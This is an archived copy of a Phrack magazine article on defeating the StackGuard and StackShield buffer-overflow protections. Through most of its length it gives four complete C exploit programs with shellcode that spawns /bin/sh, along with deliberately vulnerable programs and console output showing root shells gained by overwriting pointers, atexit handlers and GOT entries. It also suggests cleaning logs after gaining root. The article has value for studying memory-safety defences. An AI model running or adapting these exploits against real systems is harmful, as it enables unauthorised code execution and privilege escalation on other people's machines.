home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hack.co.za / papers / advancedoverflows / p56-0x05.txt < prev    next >
Encoding:
Text File  |  2000-12-24  |  27.3 KB  |  721 lines

  1.                       - P H R A C K   M A G A Z I N E -
  2.  
  3.                             Volume 0xa Issue 0x38
  4.                                   05.01.2000
  5.                                   0x05[0x10]
  6.  
  7. |------------------- BYPASSING STACKGUARD AND STACKSHIELD --------------------|
  8. |-----------------------------------------------------------------------------|
  9. |--------------------- Bulba and Kil3r <lam3rz@hert.org> ---------------------|
  10.  
  11.  
  12.  
  13. ----|  Preface
  14.  
  15. "When a buffer overwrites a pointer...  The story of a restless mind."
  16.  
  17.  
  18. This article is an attempt to demonstrate that it is possible to exploit
  19. stack overflow vulnerabilities on systems secured by StackGuard or StackShield 
  20. even in hostile environments (such as when the stack is non-executable).
  21.  
  22.  
  23. ----| StackGuard Overview
  24.  
  25. According to its authors, StackGuard is a "simple compiler technique that
  26. virtually eliminates buffer overflow vulnerabilities with only modest
  27. performance penalties." [1]
  28.  
  29. We assume that the reader know how buffer overflow attacks work and how to
  30. write exploit code . If this is foreign to you, please see P49-14.
  31.  
  32. In a nutshell, we can change a function's return address by writing past the
  33. end of local variable buffer.  The side effect of altering a function's return
  34. address is that we destroy/modify all stack data contained beyond end of the
  35. overflowed buffer.
  36.  
  37. What does StackGuard do?  It places a "canary" word next to the return address
  38. on the stack.  If the canary word has been altered when the function returns,
  39. then a stack smashing attack has been attempted, and the program responds by
  40. emitting an intruder alert into syslog, and then halts. 
  41.  
  42. Consider the following figure:
  43.  
  44.     ...                    ...
  45.      |-----------------------------------|
  46.      | parameters passed to function     | 
  47.      |-----------------------------------|
  48.      | function's return address (RET)   | 
  49.      |-----------------------------------|
  50.      | canary                            |
  51.      |-----------------------------------|
  52.      | local frame pointer (%ebp)        |
  53.      |-----------------------------------|
  54.      | local variables                   |
  55.      |-----------------------------------|
  56.     ...                    ...
  57.  
  58.  
  59. To be effective, the attacker must not be able to "spoof" the canary word
  60. by embedding the value for the canary word in the attack string.  StackGuard
  61. offers two techniques to prevent canary spoofing: "terminator" and "random".
  62.  
  63. A terminator canary contains NULL(0x00), CR (0x0d), LF (0x0a) and EOF (0xff) --
  64. four characters that should terminate most string operations, rendering the
  65. overflow attempt harmless.
  66.  
  67. A random canary is chosen at random at the time the program execs.  Thus the
  68. attacker cannot learn the canary value prior to the program start by searching
  69. the executable image.  The random value is taken from /dev/urandom if
  70. available, and created by hashing the time of day if /dev/urandom is not
  71. supported.  This randomness is sufficient to prevent most prediction attempts.
  72.  
  73.  
  74. ----|  StackShield
  75.  
  76. StackShield uses a different technique.  The idea here is to create a separate
  77. stack to store a copy of the function's return address.  Again this is achieved
  78. by adding some code at the very beginning and the end of a protected function.
  79. The code at the function prolog copies the return address to special table,
  80. and then at the epilog, it copies it back to the stack.  So execution flow
  81. remains unchanged -- the function always returns to its caller.  The actual
  82. return address isn't compared to the saved return address, so there is no way
  83. to check if a buffer overflow occurred.  The latest version also adds some
  84. protection against calling function pointers that point at address not
  85. contained in .TEXT segment (it halts program execution if the return value
  86. has changed).  
  87.  
  88. It might seem like these two systems are infallible.  They're not.
  89.  
  90.  
  91. ----|  "Nelson Mengele must be free"
  92.  
  93. "...an attacker can bypass StackGuard protection using buffer overflows to
  94.  alter other pointers in the program besides the return address, such as
  95.  function pointers and longjmp buffers, which need not even be on the
  96.  stack." [2]
  97.  
  98. OK.  So.  Do we need a bit of luck to overflow a function pointer or a longjmp?
  99. You bet!  It's not exactly commonplace to find such a pointer located after
  100. our buffer, and most programs do not have it at all.  It is much more likely
  101. to find some other kind of pointer.  For example:
  102.  
  103.  
  104. [root@sg StackGuard]# cat vul.c 
  105.  
  106. // Example vulnerable program.
  107. int f (char ** argv)
  108. {
  109.         int pipa;    // useless variable
  110.         char *p;
  111.         char a[30];
  112.  
  113.         p=a;
  114.  
  115.         printf ("p=%x\t -- before 1st strcpy\n",p);
  116.         strcpy(p,argv[1]);        // <== vulnerable strcpy()
  117.         printf ("p=%x\t -- after 1st  strcpy\n",p);
  118.         strncpy(p,argv[2],16);
  119.         printf("After second strcpy ;)\n");
  120. }
  121.  
  122. main (int argc, char ** argv) {
  123.         f(argv);
  124.         execl("back_to_vul","",0);  //<-- The exec that fails
  125.         printf("End of program\n");
  126. }
  127.  
  128.  
  129. As you can see, we just overwrite the return address by overflowing our buffer.
  130. But this will get us nowhere since our program is StackGuard protected.  But
  131. the simplest, obvious route is not always the best one.  How about we just
  132. overwrite the `p` pointer?  The second (safe) strncpy() operation will go
  133. straight to memory pointed by us.  What if p points at our return address on
  134. the stack?  We're altering the function's return without even touching the
  135. canary.
  136.  
  137. So what do we require for our attack?
  138. 1. We need pointer p to be physically located on the stack after our buffer
  139.    a[].
  140. 2. We need an overflow bug that will allow us to overwrite this p pointer
  141.    (i.e.: an unbounded strcpy).
  142. 3. We need one *copy() function (strcpy, memcopy, or whatever) that takes
  143.    *p as a destination and user-specified data as the source, and no p
  144.    initialization between the overflow and the copy.
  145.  
  146. Obviously, given the above limitations not all programs compiled with
  147. StackGuard are going to be vulnerable, but such a vulnerabilities are out
  148. there.  For example, the wu-ftpd 2.5 mapped_path bug, where overflowing the
  149. mapped_path buffer could alter the Argv and LastArg pointers used by
  150. setproctitle() resulting in the ability to modify any part of the process'
  151. memory.  Granted, it was *data* based overflow (not stack-based) but, on
  152. the other hand, this shows that the requirements for our above vulnerability
  153. are definitely fulfilled in real world.
  154.  
  155. So how are we going to exploit it?
  156.  
  157. We overwrite p so it will point to the address of RET on the stack and thus
  158. the next *copy() will overwrite our RET without touching the canary :)  Yes,
  159. we need to smuggle in the shellcode as well (we use argv[0]).  Here is a
  160. sample exploit (we used execle() to make it environment independent):
  161.  
  162. [root@sg StackGuard]# cat ex.c
  163.  
  164. /* Example exploit no. 1 (c) by Lam3rZ 1999 :) */
  165.  
  166. char shellcode[] =
  167.     "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
  168.     "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
  169.     "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
  170.     "\xff\xff/bin/sh";
  171. char addr[5]="AAAA\x00";
  172.  
  173. char buf[36];
  174. int * p;
  175.  
  176. main() {
  177.     memset(buf,'A',32);
  178.     p = (int *)(buf+32);
  179.     *p=0xbffffeb4;    //  <<== let us point at RET
  180.     p = (int *)(addr);
  181.     *p=0xbfffff9b;    //  <<== new RET value
  182.  
  183.     execle("./vul",shellcode,buf,addr,0,0);
  184. }
  185.  
  186.  
  187. As tested on a StackGuarded RH 5.2 Linux box:
  188.  
  189.     [root@sg StackGuard]# gcc vul.c -o vul
  190.     [root@sg StackGuard]# gcc ex.c
  191.     [root@sg StackGuard]# ./a.out
  192.     p=bffffec4       -- before 1st strcpy
  193.     p=bffffeb4       -- after 1st  strcpy
  194.     bash#
  195.  
  196. As you can see, the first strcpy() overwrites p, then strncpy() copies the new
  197. RET value so that when it returns it takes address of our shellcode.  Kaboom!
  198.  
  199. This technique works with programs compiled with regular gcc or StackGuarded
  200. gcc, but StackShield compiled programs are proof against this.
  201.  
  202.  
  203. ----|  There is no spoon
  204.  
  205. I talked with Crispin Cowan <crispin@cse.ogi.edu>, one of the StackGuard
  206. developers and he proposed a remediation against above hack.  Here's his
  207. idea:
  208.  
  209. "The XOR Random Canary defense:  here, we adopt Aaron Grier's ancient
  210.  proposal to xor the random canary with the return address.  The canary
  211.  validation code used on exit from functions then XOR's the return address
  212.  with the proper random canary (assigned to this function at exec() time)
  213.  to compute what the recorded random canary on the stack should be.  If the
  214.  attacker has hacked the return address, then the xor'd random canary will
  215.  not match.  The attacker cannot compute the canary to put on the stack
  216.  without knowing the random canary value.  This is effectively encryption
  217.  of the return address with the random canary for this function.
  218.  
  219.  The challenge here is to keep the attacker from learning the random 
  220.  canary value.  Previously, we had proposed to do that by just surrounding
  221.  the canary table with red pages, so that buffer overflows could not be
  222.  used to extract canary values.  However, Emsi's [described above] attack
  223.  lets him synthesize pointers to arbitrary addresses."
  224.  
  225.  (The simplest solution there is to) "mprotect() the canary table to prevent
  226.  the attacker from corrupting it."
  227.  
  228. We informed Crispin that we're going to write an article about it and his
  229. response was:
  230.  
  231.  "I think we can have a revised StackGuard compiler (with the XOR random
  232.  canary) ready for release on Monday."
  233.  
  234. That compiler has been released. [3]
  235.  
  236. StackShield offers an (almost) equal level of security by saving the RET copy
  237. in safe place (of arbitrary location and size -- not necessarily a good
  238. practice however) and checking its integrity before doing the return.
  239.  
  240. We can bypass that.
  241.  
  242. If we have a pointer that can be manipulated, we can use it to overwrite
  243. things that can help us exploit a vulnerable overflow in a program.  For
  244. example, take the fnlist structure that holds functions registered via
  245. atexit(3) or on_exit(3).  To reach this branch of code, of course, the program
  246. needs to call exit(), but most programs do this either at the end of execution
  247. or when an error occurs (and in most cases we can force an error exception).
  248.  
  249. Let's look at the fnlist structure:
  250.  
  251.     [root@sg StackGuard]# gdb vul
  252.     GNU gdb 4.17.0.4 with Linux/x86 hardware watchpoint and FPU support
  253.     [...]
  254.     This GDB was configured as "i386-redhat-linux"...
  255.     (gdb) b main    
  256.     Breakpoint 1 at 0x8048790
  257.     (gdb) r         
  258.     Starting program: /root/StackGuard/c/StackGuard/vul 
  259.  
  260.     Breakpoint 1, 0x8048790 in main ()
  261.     (gdb) x/10x &fnlist 
  262. 0x400eed78 <fnlist>:    0x00000000      0x00000002      0x00000003      0x4000b8c0
  263. 0x400eed88 <fnlist+16>: 0x00000000      0x00000003      0x08048c20      0x00000000
  264. 0x400eed98 <fnlist+32>: 0x00000000      0x00000000
  265.  
  266.  
  267. We can see that it calls two functions: _fini [0x8048c20] and _dl_fini
  268. [0x4000b8c0] and that neither of these take any arguments (checkout glibc
  269. sources to understand how to read the fnlist content).  We can overwrite both
  270. of these functions.  The fnlist address is dependent on the libc library, so it
  271. will be the same for every process on a particular machine.
  272.  
  273. The following code exploits a vulnerable overflow when the program exits
  274. via exit():
  275.  
  276. [root@sg StackGuard]# cat 3ex.c 
  277. /* Example exploit no. 2 (c) by Lam3rZ 1999 :) */
  278.  
  279. char shellcode[] =
  280.     "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
  281.     "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
  282.     "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
  283.     "\xff\xff/bin/sh";
  284. char addr[5]="AAAA\x00";
  285.  
  286. char buf[36];
  287. int * p;
  288.  
  289. main() {
  290.     memset(buf,'A',32);
  291.     p = (int *)(buf+32);
  292.     *p=0x400eed90;    // <<== Address of entry in fnlist which we'll modify
  293.     p = (int *)(addr);
  294.     *p=0xbfffff9b;    // <<== Address of new function to call (shellcode) :)
  295.     execle("./vul",shellcode,buf,addr,0,0);
  296. }
  297.  
  298. As you can see our exploit has changed only by one line :)
  299.  
  300. Let's test it against our vulnerable program:
  301.  
  302.     [root@sg StackGuard]# gcc 3ex.c 
  303.     [root@sg StackGuard]# ./a.out 
  304.     p=bffffec4       -- before 1st strcpy
  305.     p=400eed90       -- after 1st  strcpy
  306.     After second strcpy ;)
  307.     End of program
  308.     bash# 
  309.  
  310. As you can see our program gave us a shell after the end of normal execution.
  311. Neither StackGuard nor StackShield cannot protect against this kind of attack.
  312.  
  313. But what if our program do not call exit() but uses _exit() instead?
  314.  
  315. Let's see what happens when we overwrite the canary.  A StackGuarded program
  316. will call __canary_death_handler() (this function is responsible for logging
  317. the overflow attempt and terminating the process).  Let's look at it:
  318.  
  319.     void __canary_death_handler (int index, int value, char pname[]) {
  320.       printf (message, index, value, pname) ;
  321.       syslog (1, message, index, value, pname) ;
  322.       raise (4) ;
  323.       exit (666) ;
  324.     }
  325.  
  326. As you can see, we have a call to exit() at the very end.  Granted, exploiting
  327. the program this way will generate logs, but if there is no other way, it's
  328. a necessary evil.  Besides, if you get root, you can just groom them later.
  329.  
  330. We received some email from Perry Wagle <wagle@cse.ogi.edu> (another
  331. Stackguard author): "I seem to have lost my change to have it call _exit()
  332. instead...".  Currently StackGuard calls _exit().
  333.  
  334. Of course the above hack does not apply to StackShield.  StackShield protection
  335. can be bypassed by overwriting the saved %ebp which is not protected.  One
  336. way of exploiting it (under the worst conditions) was described in "The
  337. Frame Pointer Overwrite" by klog in Phrack 55 [4].  When program is compiled
  338. using StackShield with the '-z d' option it calls _exit() but this is not a
  339. problem for us.
  340.  
  341.  
  342. ----|  Discovering the America
  343.  
  344. What if a system has been protected with StackGuard *and* StackPatch (Solar
  345. Designer's modification that makes stack nonexecutable)? Is *this* the worst
  346. case scenario?  Not quite.
  347.  
  348. We developed a clever technique that can be used if none of the above methods
  349. can be used.
  350.  
  351. The reader is directed to Rafal Wojtczuk's wonderful paper "Defeating
  352. Solar Designer's Non-executable Stack Patch" [5].  His great idea was to
  353. patch the Global Offset Table (GOT).  With our vulnerability we can produce
  354. an arbitrary pointer, so why not point it to the GOT?
  355.  
  356. Let's use our brains.  Look at vulnerable program:
  357.  
  358.         printf ("p=%x\t -- before 1st strcpy\n",p);
  359.         strcpy(p,argv[1]);
  360.         printf ("p=%x\t -- after 1st  strcpy\n",p);
  361.         strncpy(p,argv[2],16);
  362.         printf("After second strcpy :)\n");
  363.  
  364. Yes.  The program writes our content (argv[2]) to our pointer then it
  365. executes library code, printf().  OK, so what we need to do is to overwrite
  366. the GOT of printf() with the libc system() address so it will execute
  367. system("After second strcpy :)\n");  Let's test it in practice.  To do this,
  368. we disassemble the Procedure Linkage Table (PLT) of printf().
  369.  
  370.     [root@sg]# gdb vul
  371.     GNU gdb 4.17.0.4 with Linux/x86 hardware watchpoint and FPU support
  372.     [...]
  373.     This GDB was configured as "i386-redhat-linux"...
  374.     (gdb) x/2i printf
  375.     0x804856c <printf>:     jmp    *0x8049f18  <- printf()'s GOT entry
  376.     0x8048572 <printf+6>:   pushl  $0x8
  377.     (gdb)
  378.  
  379. OK, so printf()'s GOT entry is at 0x8049f18.  All we need is to put the libc
  380. system() address at this location, 0x8049f18.  According to Rafal's article we
  381. can calculate that our system() address is at: 0x40044000+0x2e740.  0x2e740 is
  382. an offset of __libc_system() in libc library:
  383.  
  384.     [root@sg]# nm /lib/libc.so.6| grep system
  385.     0002e740 T __libc_system
  386.     0009bca0 T svcerr_systemerr
  387.     0002e740 W system
  388.  
  389. [ Note: the reader might notice we didn't use a kernel with Solar's patch.
  390. We were having problems with init(8) halting after boot.  We were running out
  391. of time to get this article done so we decided to go without the kernel patch.
  392. All that would change is the 0x40.  On systems with Solar's patch, libc is
  393. at 0x00XXYYZZ.  So, for example, the above address would look like
  394. 0x00044000+0x2e740, the 0x00 at the beginning will terminate our string.
  395. We're not 100% positive that StackPatch is compatible with StackGuard, it
  396. SHOULD be, and even if it isn't, it CAN be...  But we're not sure yet..  If
  397. any knows, please drop us a note. ]
  398.  
  399. OK, so let's test following exploit:
  400.  
  401. [root@sg]# cat 3ex3.c
  402. /* Example exploit no. 3 (c) by Lam3rZ 1999 :) */
  403.  
  404. char *env[3]={"PATH=.",0};
  405. char shellcode[] =
  406.     "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
  407.     "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
  408.     "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
  409.     "\xff\xff/bin/sh";
  410. char addr[5]="AAAA\x00";
  411. char buf[46];
  412. int * p;
  413.  
  414. main() {
  415.     memset(buf,'A',36);
  416.     p = (int *)(buf+32);
  417.     *p++=0x8049f18;//  <== printf() GOT entry address
  418.     p = (int *)(addr);
  419.     *p=0x40044000+0x2e740;//  <<== Address of libc system()
  420.     printf("Exec code from %x\n",*p);
  421.     execle("./vul",shellcode,buf,addr,0,env);
  422. }
  423.  
  424. And test it!!!
  425.  
  426.     [root@sg]# gcc 3ex3.c
  427.     [root@sg]# ./a.out
  428.     Exec code from 40072740
  429.     p=bffffec4       -- before 1st strcpy
  430.     p=8049f18        -- after 1st  strcpy
  431.     sh: syntax error near unexpected token `:)'
  432.     sh: -c: line 1: `After second strcpy :)'
  433.     Segmentation fault (core dumped)
  434.  
  435. Hrm.  That didn't work.
  436.  
  437. Unfortunately, as it happens, the printf() string contained special shell
  438. characters.  In most cases if we exploit printf() to execute system() it
  439. will execute things like "Here we blah, blah and blah", so all we need is
  440. to create a "Here" shell script in our working directory (yes, we need our
  441. suid program to not set the PATH variable).
  442.  
  443. So what to do with our unexpected ':)' token?
  444.  
  445. Well it depends, sometimes you just have to forget about printf() and try to
  446. find a function that is executed after our exploitation, such that it takes
  447. plain text as the last argument.  Sometimes, however, we can get luckier...
  448. Imagine that our a[] buffer is the last local variable, so arguments passed on
  449. to functions called by our vulnerable function are just next to it on stack.
  450. What if we persuade __libc_system() to skip the canary pushing?  We can achieve
  451. that by jumping to __libc_system()+5 instead of __libc_system().  Well, we'll
  452. end up with +arguments shifted one place forward (i.e. arg1->arg2...), and
  453. the first 4 bytes of the last local variable on the stack are treated as the
  454. first argument.  The printf() call we're trying to abuse takes just one
  455. argument, so the only argument that system() will get is pointer contained in
  456. the first 4 bytes of a[].  Just make it point to "/bin/sh" or something
  457. similar.
  458.  
  459. Overwriting the GOT works for StackGuard, StackShield and StackPatch.  It can
  460. be used in case we cannot manipulate the whole content of what we're copying 
  461. but only parts of it (as in wu-ftpd).
  462.  
  463.  
  464. ----|  "Oily way"
  465.  
  466. The reader may think we're only showing her naive examples, that are probably
  467. not going to be found in the field.  A vulnerable function that gets as its
  468. arguments a whole table of strings is somewhat uncommon.  More often you'll
  469. find functions that look like this:
  470.  
  471. int f (char *string) {
  472. [...]
  473.     char *p;
  474.     char a[64];
  475. [...]
  476.  
  477.  
  478. Check this out:
  479.  
  480. char dst_buffer[64]; /* final destination */
  481.  
  482. int f (char * string)
  483. {
  484.     char *p;
  485.     char a[64];
  486.  
  487.     p=dst_buffer;        /* pointer initialization */
  488.     printf ("p=%x\t -- before 1st strcpy\n",p);
  489.     strcpy(a, string);      /* string in */
  490.  
  491.     /* parsing, copying, concatenating ... black-string-magic */
  492.     /* YES, it MAY corrupt our data */
  493.  
  494.     printf ("p=%x\t -- after 1st  strcpy\n",p);
  495.     strncpy(p, a, 64);      /* string out */
  496.     printf("After second strcpy ;)\n");
  497. }
  498.  
  499. int main (int argc, char ** argv) {
  500.     f(argv[0]);                    /* interaction */
  501.     printf("End of program\n");
  502. }
  503.  
  504.  
  505. You interact with the vulnerable function by passing it just one string...
  506.  
  507. But what if we're dealing with a system that has nonexecutable stacks,
  508. and libraries mapped to some strange address (with NULLs inside of it)?
  509. We cannot patch the GOT with our address on the stack, because stack is
  510. not executable.
  511.  
  512. It may look like we're screwed, but read on!  Our system is x86 based, and
  513. there are a lot of misconceptions about the ability to execute certain memory
  514. pages.  Check out /proc/*/maps:
  515.  
  516.     00110000-00116000 r-xp 00000000 03:02 57154
  517.     00116000-00117000 rw-p 00005000 03:02 57154
  518.     00117000-00118000 rw-p 00000000 00:00 0
  519.     0011b000-001a5000 r-xp 00000000 03:02 57139
  520.     001a5000-001aa000 rw-p 00089000 03:02 57139
  521.     001aa000-001dd000 rw-p 00000000 00:00 0
  522.     08048000-0804a000 r-xp 00000000 16:04 158
  523.     0804a000-0804b000 rw-p 00001000 16:04 158      <-- The GOT is here
  524.     bfffd000-c0000000 rwxp ffffe000 00:00 0
  525.  
  526. The GOT may seem to be non-executable, but SUPRISE!  Good ole' Intel allows
  527. you to execute the GOT where ever you wish!  So all we have to do is stick
  528. our shellcode there, patch the GOT entry to point to it, and sit back and
  529. enjoy the show!
  530.  
  531. To facilitate that, here's a little hint:
  532. We just have to change two lines in supplied exploit code:
  533.  
  534.     *p=0x8049f84;        // destination of our strncpy operation
  535.     [...]
  536.     *p=0x8049f84+4;        // address of our shellcode
  537.  
  538.  
  539. All we need is a copy operation that can copy the shellcode right where we
  540. want it.  Our shellcode is not size optimized so it takes more than 40 bytes,
  541. but if you're smart enough you can make this code even smaller by getting rid
  542. of jmp, call, popl (since you already know your address).
  543.  
  544. Another thing we have to consider are signals.  A function's signal handler
  545. tries to call a function with a fucked up GOT entry, and program dies.  But
  546. that is just a theoretical danger.
  547.  
  548. What's that now?
  549.  
  550. You don't like our vulnerable program?
  551.  
  552. It still looks somewhat unreal to you? 
  553.  
  554. Then maybe we'll satisfy you with this one:
  555.  
  556. char global_buf[64];
  557.  
  558. int f (char *string, char *dst)
  559. {
  560.         char a[64];
  561.  
  562.         printf ("dst=%x\t -- before 1st strcpy\n",dst);
  563.         printf ("string=%x\t -- before 1st strcpy\n",string);
  564.         strcpy(a,string);
  565.         printf ("dst=%x\t -- after 1st  strcpy\n",dst);
  566.         printf ("string=%x\t -- after 1st  strcpy\n",string);
  567.  
  568.         // some black magic is done with supplied string
  569.  
  570.         strncpy(dst,a,64);
  571.         printf("dst=%x\t -- after second strcpy :)\n",dst);
  572. }
  573.  
  574. main (int argc, char ** argv) {
  575.  
  576.         f(argv[1],global_buf);
  577.         execl("back_to_vul","",0);  //<-- The exec that fails
  578.                                     // I don't have any idea what it is for
  579.                     // :)
  580.         printf("End of program\n");
  581. }
  582.  
  583.  
  584.  
  585. In this example we have our pointer (dst) on the stack beyond the canary and
  586. RET value, so we cannot change it without killing the canary and without
  587. being caught...
  588.  
  589. Or can we?
  590.  
  591. Both StackGuard and StackShield check whether RET was altered before the
  592. function returns to its caller (this done at the very end of function).  In
  593. most cases we have enough time here to do something to take control of a
  594. vulnerable program.
  595.  
  596. We can do it by overwriting the GOT entry of the next library function called.
  597.  
  598. We don't have to worry about the order of local variables and since we don't
  599. care if canary is alive or not, we can play!
  600.  
  601. Here is the exploit:
  602.  
  603. /* Example exploit no. 4 (c) by Lam3rZ 1999 :) */
  604.  
  605. char shellcode[] = // 48 chars :)
  606.     "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
  607.     "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
  608.     "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
  609.     "\xff\xff/bin/sh";
  610.  
  611. char buf[100];
  612. int * p;
  613.  
  614. main() {
  615.     memset(buf,'A',100);
  616.     memcpy(buf+4,shellcode,48);
  617.     p = (int *)(buf+80);    // <=- offset of second f() argument [dest one]
  618.     *p=0x8049f84;//  <<== GOT entry of printf
  619.  
  620.     p = (int *)(buf);
  621.     *p=0x8049f84+4;//  <<== GOT entry of printf+4, there is our shellcode :)
  622.  
  623.     execle("./vul2","vul2",buf,0,0);
  624. }
  625.  
  626. And the result: 
  627.  
  628.     [root@sg]# ./a.out 
  629.     p=804a050        -- before 1st strcpy
  630.     argv1p=bfffff91  -- before 1st strcpy
  631.     p=8049f84        -- after 1st  strcpy
  632.     argv1=41414141   -- after 1st  strcpy
  633.     bash# 
  634.  
  635.  
  636. ----|  Conclusion
  637.  
  638. 1) StackGuard/StackShield can save you in case of accidental buffer overflows, 
  639.    but not against a programmer's stupidity.  Erreare humanum est, yeah
  640.    right, but security programmers must not only be human, they must be
  641.    security-aware-humans.
  642.  
  643. 2)  - By auditing your code - you may waste some time but you'll surely
  644.     increase the security of the programs you're writing.
  645.     - By using StackGuard/StackShield/whatever - you may decrease your system
  646.     performance but in turn you gain additional layer of security.
  647.     - By doing nothing to protect your program - you risk that someone will
  648.     humiliate you by exploiting an overflow in your code, and if it happens,
  649.     you deserve it!
  650.  
  651.     So, be perfect, be protected, or let the others laugh at you.
  652.  
  653. We welcome any constructive comments and improvements.  You can contact us
  654. on Lam3rZ mailing list at <lam3rz@hert.org>.
  655.  
  656. Yes, yes... We know!  No real working exploit yet :( We're working on it.
  657. Keep checking:
  658.  
  659.         http://emsi.it.pl/
  660. and
  661.         http://lam3rz.hack.pl/
  662.  
  663.  
  664. ----|  Addendum: Jan 5, 2000
  665.  
  666. We solved the problem with StackGuard on a system with Solar Designer's
  667. non-executable stack patch.  We're not sure what caused the problem, but to
  668. avoid it, enable 'Autodetect GCC trampolines' and 'Emulate trampoline calls'
  669. during kernel configuration.  We were running Slackware Linux without
  670. StackGuard and trampolines but with non-executable user stack but StackGuarded
  671. RH Linux refused to work in such a configuration... :)
  672.  
  673.  
  674. ----|  Some GreetZ
  675.  
  676. A18 team, HERT, CocaCola, Raveheart (for "Nelson Mengele..." song).
  677. Nergal, mo┐e by╢ siΩ tak ujawni│? ;)
  678. Po raz kolejny chcialbym zaznaczyc, ze jestem tylko zwyczajnym Lam3rem.
  679.                                                                      
  680.     - Kil3r
  681.  
  682. people I've been drinking with - because i've been drinking with you :)
  683. people I'd like to drink with  - because i will drink with you :) 
  684. people smarter than me         - because you're better than I am
  685. í╞╩ú╤╙»¼▒µΩ│±≤┐1/4               - for being wonderful iso-8859-2 characters
  686. Lam3rz                         - alt.pe0p1e.with.sp311ing.pr0b1emZ :)
  687. koralik                        - ... just because
  688.  
  689.     - Bulba
  690.  
  691.  
  692. ----|  References
  693.  
  694. [1] Crispin Cowan, Calton Pu, Dave Maier, Heather Hinton, Jonathan Walpole,
  695. Peat Bakke, Steave Beattie, Aaron Grier, Perry Wagle and Qian Zhand.
  696. StackGuard: Automatic Adaptive Detection and Prevention of Buffer-Overflow
  697. Attacks http://www.immunix.org/documentation.html
  698.  
  699. [2] Crispin Cowan, Steve Beattie, Ryan Finnin Day, Calton Pu, Perry Wagle
  700. and Erik Walthinsen. Protecting Systems from Stack Smashing Attacks with
  701. StackGuard http://www.immunix.org/documentation.html
  702.  
  703. [3] Security Alert: StackGuard 1.21
  704. http://www.immunix.org/downloads.html
  705.  
  706. [4] klog. The Frame Pointer Overwrite
  707. http://www.phrack.com/search.phtml?view&article=p55-8
  708.  
  709. [5] Rafal Wojtczuk. Defeating Solar Designer's Non-executable Stack Patch
  710. http://www.securityfocus.com/templates/archive.pike?list=1&date=1998-02-01&msg=199801301709.SAA12206@galera.icm.edu.pl
  711.  
  712.  
  713. ----|  Authors' note
  714.  
  715. This article is intellectual property of Lam3rZ Group.
  716. Knowledge presented here is the intellectual property of all of mankind,
  717. especially those who can understand it. :)
  718.  
  719.  
  720. |EOF|-------------------------------------------------------------------------|
  721.